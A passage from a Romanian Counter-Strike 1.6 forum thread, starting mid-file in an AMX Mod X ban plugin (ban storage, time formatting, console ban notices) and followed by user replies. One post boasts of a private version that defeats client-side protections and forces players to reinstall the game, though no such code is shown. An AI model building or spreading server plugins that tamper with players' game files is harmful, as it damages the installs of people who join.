				SQL_ReadResult(query, 5, data[bd_admin_name], sizeof(data[bd_admin_name]) - 1);
				SQL_ReadResult(query, 6, data[bd_admin_steamid], sizeof(data[bd_admin_steamid]) - 1);
				
				ArrayPushArray(g_array, data);
				TrieSetCell(g_trie, data[bd_steamid], g_total_bans);
				#else
				SQL_ReadResult(query, 0, g_names[g_total_bans], sizeof(g_names[]) - 1);
				SQL_ReadResult(query, 1, g_steamids[g_total_bans], sizeof(g_steamids[]) - 1);
				g_banlengths[g_total_bans] = SQL_ReadResult(query, 2);
				SQL_ReadResult(query, 3, g_unbantimes[g_total_bans], sizeof(g_unbantimes[]) - 1);
				SQL_ReadResult(query, 4, g_reasons[g_total_bans], sizeof(g_reasons[]) - 1);
				SQL_ReadResult(query, 5, g_admin_names[g_total_bans], sizeof(g_admin_names[]) - 1);
				SQL_ReadResult(query, 6, g_admin_steamids[g_total_bans], sizeof(g_admin_steamids[]) - 1);
				#endif
				
				g_total_bans++;
				
				SQL_NextRow(query);
			}
		}
		
		set_task(RELOAD_BANS_INTERVAL, "LoadBans");
		
		g_loading_bans = false;
	}
}
#endif

#if MAX_BANS > 0
RemoveBan(remove)
{
	#if defined USING_SQL
	static query[128];
	formatex(query, sizeof(query) - 1,\
		"DELETE FROM `%s` WHERE `%s` = '%s';",\
		TABLE_NAME, KEY_STEAMID, g_steamids[remove]
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryDeleteBan", query);
	#endif
	
	for( new i = remove; i < g_total_bans; i++ )
	{
		if( (i + 1) == g_total_bans )
		{
			copy(g_names[i], sizeof(g_names[]) - 1, "");
			copy(g_steamids[i], sizeof(g_steamids[]) - 1, "");
			g_banlengths[i] = 0;
			copy(g_unbantimes[i], sizeof(g_unbantimes[]) - 1, "");
			copy(g_reasons[i], sizeof(g_reasons[]) - 1, "");
			copy(g_admin_names[i], sizeof(g_admin_names[]) - 1, "");
			copy(g_admin_steamids[i], sizeof(g_admin_steamids[]) - 1, "");
		}
		else
		{
			copy(g_names[i], sizeof(g_names[]) - 1, g_names[i + 1]);
			copy(g_steamids[i], sizeof(g_steamids[]) - 1, g_steamids[i + 1]);
			g_banlengths[i] = g_banlengths[i + 1];
			copy(g_unbantimes[i], sizeof(g_unbantimes[]) - 1, g_unbantimes[i + 1]);
			copy(g_reasons[i], sizeof(g_reasons[]) - 1, g_reasons[i + 1]);
			copy(g_admin_names[i], sizeof(g_admin_names[]) - 1, g_admin_names[i + 1]);
			copy(g_admin_steamids[i], sizeof(g_admin_steamids[]) - 1, g_admin_steamids[i + 1]);
		}
	}
	
	g_total_bans--;
	
	#if !defined USING_SQL
	new f = fopen(g_ban_file, "wt");
	
	static name[32], steamid[35], banlength, unbantime[32], reason[128], admin_name[32], admin_steamid[35];
	for( new i = 0; i < g_total_bans; i++ )
	{
		copy(name, sizeof(name) - 1, g_names[i]);
		copy(steamid, sizeof(steamid) - 1, g_steamids[i]);
		banlength = g_banlengths[i];
		copy(unbantime, sizeof(unbantime) - 1, g_unbantimes[i]);
		copy(reason, sizeof(reason) - 1, g_reasons[i]);
		copy(admin_name, sizeof(admin_name) - 1, g_admin_names[i]);
		copy(admin_steamid, sizeof(admin_steamid) - 1, g_admin_steamids[i]);
		
		fprintf(f, "^"%s^" ^"%s^" %i ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
			steamid,\
			name,\
			banlength,\
			unbantime,\
			reason,\
			admin_name,\
			admin_steamid
			);
	}
	
	fclose(f);
	#endif
}
#else
RemoveBan(pos, const authid[])
{
	TrieDeleteKey(g_trie, authid);
	ArrayDeleteItem(g_array, pos);
	
	g_total_bans--;
	
	#if defined USING_SQL
	static query[128];
	formatex(query, sizeof(query) - 1,\
		"DELETE FROM `%s` WHERE `%s` = '%s';",\
		TABLE_NAME, KEY_STEAMID, authid
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryDeleteBan", query);
	
	new data[BannedData];
	for( new i = 0; i < g_total_bans; i++ )
	{
		ArrayGetArray(g_array, i, data);
		TrieSetCell(g_trie, data[bd_steamid], i);
	}
	#else
	new f = fopen(g_ban_file, "wt");
	
	new data[BannedData];
	for( new i = 0; i < g_total_bans; i++ )
	{
		ArrayGetArray(g_array, i, data);
		TrieSetCell(g_trie, data[bd_steamid], i);
		
		fprintf(f, "^"%s^" ^"%s^" %i ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
			data[bd_steamid],\
			data[bd_name],\
			data[bd_banlength],\
			data[bd_unbantime],\
			data[bd_reason],\
			data[bd_admin_name],\
			data[bd_admin_steamid]
			);
	}
	
	fclose(f);
	#endif
}
#endif

#if defined KEEP_DEFAULT_BANS
LoadOldBans(filename[])
{
	if( file_exists(filename) )
	{
		new f = fopen(filename, "rt");
		
		static data[96];
		static command[10], minutes[10], steamid[35], length, unban_time[32];
		
		while( !feof(f) )
		{
			fgets(f, data, sizeof(data) - 1);
			if( !data[0] ) continue;
			
			parse(data, command, sizeof(command) - 1, minutes, sizeof(minutes) - 1, steamid, sizeof(steamid) - 1);
			if( filename[0] == 'b' && !equali(command, "banid") || filename[0] == 'l' && !equali(command, "addip") ) continue;
			
			length = str_to_num(minutes);
			GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
			
			AddBan("", steamid, "", length, unban_time, "", "");
		}
		
		fclose(f);
		
		static filename2[32];
		
		// copy current
		copy(filename2, sizeof(filename2) - 1, filename);
		
		// cut off at the "."
		// banned.cfg = banned
		// listip.cfg = listip
		filename2[containi(filename2, ".")] = 0;
		
		// add 2.cfg
		// banned = banned2.cfg
		// listip = listip2.cfg
		add(filename2, sizeof(filename2) - 1, "2.cfg");
		
		// rename file so that it isnt loaded again
		while( !rename_file(filename, filename2, 1) ) { }
	}
}
#endif

public LoadBans()
{
	if( g_total_bans )
	{
		#if MAX_BANS <= 0
		TrieClear(g_trie);
		ArrayClear(g_array);
		#endif
		
		g_total_bans = 0;
	}
	
	#if defined USING_SQL
	static query[128];
	formatex(query, sizeof(query) - 1,\
		"SELECT * FROM `%s`;",\
		TABLE_NAME
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryLoadBans", query);
	
	g_loading_bans = true;
	#else
	if( file_exists(g_ban_file) )
	{
		new f = fopen(g_ban_file, "rt");
		
		static filedata[512], length[10];
		
		#if MAX_BANS <= 0
		static data[BannedData];
		while( !feof(f) )
		#else
		while( !feof(f) && g_total_bans < MAX_BANS )
		#endif
		{
			fgets(f, filedata, sizeof(filedata) - 1);
			
			if( !filedata[0] ) continue;
			
			#if MAX_BANS <= 0
			parse(filedata,\
				data[bd_steamid], sizeof(data[bd_steamid]) - 1,\
				data[bd_name], sizeof(data[bd_name]) - 1,\
				length, sizeof(length) - 1,\
				data[bd_unbantime], sizeof(data[bd_unbantime]) - 1,\
				data[bd_reason], sizeof(data[bd_reason]) - 1,\
				data[bd_admin_name], sizeof(data[bd_admin_name]) - 1,\
				data[bd_admin_steamid], sizeof(data[bd_admin_steamid]) - 1
				);
			
			data[bd_banlength] = str_to_num(length);
			
			ArrayPushArray(g_array, data);
			TrieSetCell(g_trie, data[bd_steamid], g_total_bans);
			#else
			static steamid[35], name[32], unbantime[32], reason[128], admin_name[32], admin_steamid[35];
			
			parse(filedata,\
				steamid, sizeof(steamid) - 1,\
				name, sizeof(name) - 1,\
				length, sizeof(length) - 1,\
				unbantime, sizeof(unbantime) - 1,\
				reason, sizeof(reason) - 1,\
				admin_name, sizeof(admin_name) - 1,\
				admin_steamid, sizeof(admin_steamid) - 1
				);
			
			copy(g_names[g_total_bans], sizeof(g_names[]) - 1, name);
			copy(g_steamids[g_total_bans], sizeof(g_steamids[]) - 1, steamid);
			g_banlengths[g_total_bans] = str_to_num(length);
			copy(g_unbantimes[g_total_bans], sizeof(g_unbantimes[]) - 1, unbantime);
			copy(g_reasons[g_total_bans], sizeof(g_reasons[]) - 1, reason);
			copy(g_admin_names[g_total_bans], sizeof(g_admin_names[]) - 1, admin_name);
			copy(g_admin_steamids[g_total_bans], sizeof(g_admin_steamids[]) - 1, admin_steamid);
			#endif
			
			g_total_bans++;
		}
		
		fclose(f);
	}
	#endif
	
	// load these after, so when they are added to the file with AddBan(), they aren't loaded again from above.
	
	#if defined KEEP_DEFAULT_BANS
	LoadOldBans("banned.cfg");
	LoadOldBans("listip.cfg");
	#endif
}

#if defined USING_SQL
MakeStringSQLSafe(const input[], output[], len)
{
	copy(output, len, input);
	replace_all(output, len, "'", "*");
	replace_all(output, len, "^"", "*");
	replace_all(output, len, "`", "*");
}
#endif

GetBanTime(const bantime, length[], len)
{
	new minutes = bantime;
	new hours = 0;
	new days = 0;
	
	while( minutes >= 60 )
	{
		minutes -= 60;
		hours++;
	}
	
	while( hours >= 24 )
	{
		hours -= 24;
		days++;
	}
	
	new bool:add_before;
	if( minutes )
	{
		formatex(length, len, "%i minute%s", minutes, minutes == 1 ? "" : "s");
		
		add_before = true;
	}
	if( hours )
	{
		if( add_before )
		{
			format(length, len, "%i hour%s, %s", hours, hours == 1 ? "" : "s", length);
		}
		else
		{
			formatex(length, len, "%i hour%s", hours, hours == 1 ? "" : "s");
			
			add_before = true;
		}
	}
	if( days )
	{
		if( add_before )
		{
			format(length, len, "%i day%s, %s", days, days == 1 ? "" : "s", length);
		}
		else
		{
			formatex(length, len, "%i day%s", days, days == 1 ? "" : "s");
			
			add_before = true;
		}
	}
	if( !add_before )
	{
		// minutes, hours, and days = 0
		// assume permanent ban
		copy(length, len, "Permanent Ban");
	}
}

GenerateUnbanTime(const bantime, unban_time[], len)
{
	static _hours[5], _minutes[5], _seconds[5], _month[5], _day[5], _year[7];
	format_time(_hours, sizeof(_hours) - 1, "%H");
	format_time(_minutes, sizeof(_minutes) - 1, "%M");
	format_time(_seconds, sizeof(_seconds) - 1, "%S");
	format_time(_month, sizeof(_month) - 1, "%m");
	format_time(_day, sizeof(_day) - 1, "%d");
	format_time(_year, sizeof(_year) - 1, "%Y");
	
	new hours = str_to_num(_hours);
	new minutes = str_to_num(_minutes);
	new seconds = str_to_num(_seconds);
	new month = str_to_num(_month);
	new day = str_to_num(_day);
	new year = str_to_num(_year);
	
	minutes += bantime;
	
	while( minutes >= 60 )
	{
		minutes -= 60;
		hours++;
	}
	
	while( hours >= 24 )
	{
		hours -= 24;
		day++;
	}
	
	new max_days = GetDaysInMonth(month, year);
	while( day > max_days )
	{
		day -= max_days;
		month++;
	}
	
	while( month > 12 )
	{
		month -= 12;
		year++;
	}
	
	formatex(unban_time, len, "%i:%02i:%02i %i/%i/%i", hours, minutes, seconds, month, day, year);
}

GetDaysInMonth(month, year=0)
{
	switch( month )
	{
		case 1:		return 31; // january
		case 2:		return ((year % 4) == 0) ? 29 : 28; // february
		case 3:		return 31; // march
		case 4:		return 30; // april
		case 5:		return 31; // may
		case 6:		return 30; // june
		case 7:		return 31; // july
		case 8:		return 31; // august
		case 9:		return 30; // september
		case 10:	return 31; // october
		case 11:	return 30; // november
		case 12:	return 31; // december
	}
	
	return 30;
}

GetTargetFlags(client)
{
	static const flags_no_immunity = (CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS);
	static const flags_immunity = (CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS|CMDTARGET_OBEY_IMMUNITY);
	
	switch( get_pcvar_num(ab_immunity) )
	{
		case 1: return flags_immunity;
		case 2: return access(client, ADMIN_IMMUNITY) ? flags_no_immunity : flags_immunity;
	}
	
	return flags_no_immunity;
}

GetMaxBanTime(client)
{
	if( !g_total_maxban_times ) return 0;
	
	new flags = get_user_flags(client);
	
	for( new i = 0; i < g_total_maxban_times; i++ )
	{
		#if !defined MAX_BANLIMITS
		if( flags & ArrayGetCell(g_maxban_flags, i) )
		{
			return ArrayGetCell(g_maxban_times, i);
		}
		#else
		if( flags & g_maxban_flags[i] )
		{
			return g_maxban_times[i];
		}
		#endif
	}
	
	return 0;
}

PrintBanInformation(client, const target_name[], const target_authid[], const reason[], const length, const unban_time[], const admin_name[], const admin_authid[], bool:show_admin, bool:show_website)
{
	static website[64], ban_length[64];
	if( client == 0 )
	{
		server_print("************************************************");
		server_print("%L", client, "AB_BAN_INFORMATION");
		server_print("%L: %s", client, "AB_NAME", target_name);
		server_print("%L: %s", client, IsValidAuthid(target_authid) ? "AB_STEAMID" : "AB_IP", target_authid);
		server_print("%L: %s", client, "AB_REASON", reason);
		if( length > 0 )
		{
			GetBanTime(length, ban_length, sizeof(ban_length) - 1);
			server_print("%L: %s", client, "AB_BAN_LENGTH", ban_length);
		}
		server_print("%L: %s", client, "AB_UNBAN_TIME", unban_time);
		if( show_admin )
		{
			server_print("%L: %s", client, "AB_ADMIN_NAME", admin_name);
			server_print("%L: %s", client, "AB_ADMIN_STEAMID", admin_authid);
		}
		if( show_website )
		{
			get_pcvar_string(ab_website, website, sizeof(website) - 1);
			if( website[0] )
			{
				server_print("");
				server_print("%L", client, "AB_WEBSITE");
				server_print("%s", website);
			}
		}
		server_print("************************************************");
	}
	else
	{
		client_cmd(client, "echo ^"************************************************^"");
		client_cmd(client, "echo ^"%L^"", client, "AB_BAN_INFORMATION");
		client_cmd(client, "echo ^"%L: %s^"", client, "AB_NAME", target_name);
		client_cmd(client, "echo ^"%L: %s^"", client, IsValidAuthid(target_authid) ? "AB_STEAMID" : "AB_IP", target_authid);
		client_cmd(client, "echo ^"%L: %s^"", client, "AB_REASON", reason);
		if( length > 0 )
		{
			GetBanTime(length, ban_length, sizeof(ban_length) - 1);
			client_cmd(client, "echo ^"%L: %s^"", client, "AB_BAN_LENGTH", ban_length);
		}
		client_cmd(client, "echo ^"%L: %s^"", client, "AB_UNBAN_TIME", unban_time);
		if( show_admin )
		{
			client_cmd(client, "echo ^"%L: %s^"", client, "AB_ADMIN_NAME", admin_name);
			client_cmd(client, "echo ^"%L: %s^"", client, "AB_ADMIN_STEAMID", admin_authid);
		}
		if( show_website )
		{
			get_pcvar_string(ab_website, website, sizeof(website) - 1);
			if( website[0] )
			{
				client_cmd(client, "echo ^"^"");
				client_cmd(client, "echo ^"%L^"", client, "AB_WEBSITE");
				client_cmd(client, "echo ^"%s^"", website);
			}
		}
		client_cmd(client, "echo ^"************************************************^"");
	}
}

PrintActivity(const admin_name[], const message_fmt[], any:...)
{
	if( !get_playersnum() ) return;
	
	new activity = get_pcvar_num(amx_show_activity);
	if( !(0 <= activity <= 5) )
	{
		set_pcvar_num(amx_show_activity, (activity = 2));
	}
	
	static message[192], temp[192];
	vformat(message, sizeof(message) - 1, message_fmt, 3);
	
	for( new client = 1; client <= g_max_clients; client++ )
	{
		if( !is_user_connected(client) ) continue;
		
		switch( is_user_admin(client) ? g_admin_activity[activity] : g_normal_activity[activity] )
		{
			case ACTIVITY_NONE:
			{
				
			}
			case ACTIVITY_HIDE:
			{
				copy(temp, sizeof(temp) - 1, message);
				replace(temp, sizeof(temp) - 1, "$name", "ADMIN");
				
				message_begin(MSG_ONE_UNRELIABLE, g_msgid_SayText, _, client);
				write_byte(client);
				write_string(temp);
				message_end();
			}
			case ACTIVITY_SHOW:
			{
				copy(temp, sizeof(temp) - 1, message);
				replace(temp, sizeof(temp) - 1, "$name", admin_name);
				
				message_begin(MSG_ONE_UNRELIABLE, g_msgid_SayText, _, client);
				write_byte(client);
				write_string(temp);
				message_end();
			}
		}
	}
}

Print(const message_fmt[], any:...)
{
	if( !get_playersnum() ) return;
	
	static message[192];
	vformat(message, sizeof(message) - 1, message_fmt, 2);
	
	for( new client = 1; client <= g_max_clients; client++ )
	{
		if( !is_user_connected(client) ) continue;
		
		message_begin(MSG_ONE_UNRELIABLE, g_msgid_SayText, _, client);
		write_byte(client);
		write_string(message);
		message_end();
	}
}

Log(const message_fmt[], any:...)
{
	static message[256];
	vformat(message, sizeof(message) - 1, message_fmt, 2);
	
	static filename[96];
	#if defined HISTORY_ONE_FILE
	if( !filename[0] )
	{
		get_basedir(filename, sizeof(filename) - 1);
		add(filename, sizeof(filename) - 1, "/logs/ban_history.log");
	}
	#else
	static dir[64];
	if( !dir[0] )
	{
		get_basedir(dir, sizeof(dir) - 1);
		add(dir, sizeof(dir) - 1, "/logs");
	}
	
	format_time(filename, sizeof(filename) - 1, "%m%d%Y");
	format(filename, sizeof(filename) - 1, "%s/BAN_HISTORY_%s.log", dir, filename);
	#endif
	
	log_amx("%s", message);
	log_to_file(filename, "%s", message);
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
*/

PS SI MAI VREAU SA ARATE IN CONSOLA Informati de la cine ai primit amx_read
Nume admin:
Numele tau:
IP tau:
IP Admin:
Motiv:
Durata banului:
Daca te simti neidreptatit viziteaza forumul http://www.laleagane.ro
Id steam admin:
stiti voi la ce ma refer multumesc mult !


Multumesc ca nu m-ai sters de la autori :) cum ar fi facut multi asa cum am zis in acel post aceasta nu este versiunea completa...ea fiind chiar printre primele versiuni :). Eu avand la mine versiunea completa dar nu o fac publica pentru ca am muncit. Trece de nvidia guard(oricare) de raiz0 si trece su de Read-Only si este valabil si pentru steam necesitand reinstalarea cs-ului pe steam :)(ma laud si eu unpic => a fost restat)
Nu îmi mai trimiteți PM pe forum! Nu merge să răspund
Pentru ajutor, faceți cerere bine detaliată, completând și respectând modelul corespunzător.
Nu-mi mai dați cereri doar pentru a mă avea în lista de prieteni.
Dacă te ajut, și mă ignori/etc > te adaug în „foe”.
Aveți grijă la cei ce încearcă să mă copieze sau să dea drept mine..Puteți lua legătura cu mine prin STEAM dacă aveți o problemă/nelămurire în acest caz! Cont de forum am doar aici.
În cazul în care utilizați ceva din ce am postat(ex: aici), e bine să fiți la curent cu modificările aduse și de aici, iar dacă sunt ceva probleme nu ezitați să luați legătura cu mine. Actualizarea unor coduri nu se vor afișa public, doar dacă se găsește ceva critic/urgent de remediat, unele fiind coduri vechi iar unele refăcute chiar recent dar private.
* Nume pe cs1.6: eVoLuTiOn \ Nume vechi: eVo
* Atelierul meu - post2819572.html#p2819572 (închis, click link ca să vedeți de ce)
ReaD1nG
Membru, skill +1
Membru, skill +1
Posts: 237
Joined: 26 Jul 2013, 17:48
Detinator Steam: Da
Has thanked: 65 times
Been thanked: 13 times

28 Jul 2013, 02:28

de la mine sigur ai un multumesc ask:) voi reveni cu un edit daca merge.)
EDIT: nu merge eu am transformato in amx_read maine o voi face ca poate am gresit eu ceva:)
Image
User avatar
Ulquiorra
Fost moderator
Fost moderator
Posts: 2053
Joined: 25 Jul 2010, 17:29
Detinator Steam: Da
CS Status: A mai trecut o zi asteptand una mai buna
Detinator server CS: Retras.
SteamID: STEAM_0:1:318247XX
Reputatie: Fost Scripter eXtreamCS
Fost Moderator ajutator
Nick anterior: Askhanar
Location: Braila, Romania.
Has thanked: 215 times
Been thanked: 1132 times

28 Jul 2013, 03:07

resursele nu le mai am nici eu.. oricum sunt din modul war3ft.. le gasiti pe google :(

bugul nu e unui major.. ex: in loc de 10 eliminari el incarca 100 ( adica le incarca de 10 ori aceleasi.. )

nb.
Caut o persoana dedicata care se pricepe si stie ce face.
Vreau sa creeze si sa se ocupe de administrarea unui server de MU, da e vorba de vechiul joc..ma gandesc undeva la un season 3 ep1/2.

O sa achizitionez un domeniu .ro.
Totodata sponsorizez absolut orice este necesar.
Ma puteti contacta prin: http://solo.to/stfrzv
User avatar
levin
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 3855
Joined: 24 Aug 2011, 12:24
Detinator Steam: Nu
CS Status:
Detinator server CS: ☯∴
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Discord: devilclass
Has thanked: 36 times
Been thanked: 595 times
Contact:

28 Jul 2013, 16:07

Askhanar wrote:resursele nu le mai am nici eu.. oricum sunt din modul war3ft.. le gasiti pe google :(

bugul nu e unui major.. ex: in loc de 10 eliminari el incarca 100 ( adica le incarca de 10 ori aceleasi.. )

nb.
Pai daca vrei sa scapi de "bug" scoate logurile :)
Nu îmi mai trimiteți PM pe forum! Nu merge să răspund
Pentru ajutor, faceți cerere bine detaliată, completând și respectând modelul corespunzător.
Nu-mi mai dați cereri doar pentru a mă avea în lista de prieteni.
Dacă te ajut, și mă ignori/etc > te adaug în „foe”.
Aveți grijă la cei ce încearcă să mă copieze sau să dea drept mine..Puteți lua legătura cu mine prin STEAM dacă aveți o problemă/nelămurire în acest caz! Cont de forum am doar aici.
În cazul în care utilizați ceva din ce am postat(ex: aici), e bine să fiți la curent cu modificările aduse și de aici, iar dacă sunt ceva probleme nu ezitați să luați legătura cu mine. Actualizarea unor coduri nu se vor afișa public, doar dacă se găsește ceva critic/urgent de remediat, unele fiind coduri vechi iar unele refăcute chiar recent dar private.
* Nume pe cs1.6: eVoLuTiOn \ Nume vechi: eVo
* Atelierul meu - post2819572.html#p2819572 (închis, click link ca să vedeți de ce)
OneShot.
Membru, skill +2
Membru, skill +2
Posts: 719
Joined: 12 Sep 2011, 19:17
Detinator Steam: Da
Detinator server CS: drx.indungi.ro
SteamID: oneshot_01
Reputatie: Fost moderator ajutator
Nume anterior: OnlyHD
Location: Bucuresti
Has thanked: 196 times
Been thanked: 66 times
Contact:

28 Jul 2013, 16:59

Acel log e baza pluginului,fara el ar fi ca orice alt plugin de pika,exterminate etc.
User avatar
levin
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 3855
Joined: 24 Aug 2011, 12:24
Detinator Steam: Nu
CS Status:
Detinator server CS: ☯∴
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Discord: devilclass
Has thanked: 36 times
Been thanked: 595 times
Contact:

28 Jul 2013, 17:05

OnlyHD wrote:Acel log e baza pluginului,fara el ar fi ca orice alt plugin de pika,exterminate etc.
Eh :-j sa sti ca orice plugin "exterminate pika creaza si ele loguri" in caz ca nu stiai
Nu îmi mai trimiteți PM pe forum! Nu merge să răspund
Pentru ajutor, faceți cerere bine detaliată, completând și respectând modelul corespunzător.
Nu-mi mai dați cereri doar pentru a mă avea în lista de prieteni.
Dacă te ajut, și mă ignori/etc > te adaug în „foe”.
Aveți grijă la cei ce încearcă să mă copieze sau să dea drept mine..Puteți lua legătura cu mine prin STEAM dacă aveți o problemă/nelămurire în acest caz! Cont de forum am doar aici.
În cazul în care utilizați ceva din ce am postat(ex: aici), e bine să fiți la curent cu modificările aduse și de aici, iar dacă sunt ceva probleme nu ezitați să luați legătura cu mine. Actualizarea unor coduri nu se vor afișa public, doar dacă se găsește ceva critic/urgent de remediat, unele fiind coduri vechi iar unele refăcute chiar recent dar private.
* Nume pe cs1.6: eVoLuTiOn \ Nume vechi: eVo
* Atelierul meu - post2819572.html#p2819572 (închis, click link ca să vedeți de ce)
Post Reply

Return to “Cereri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 56 guests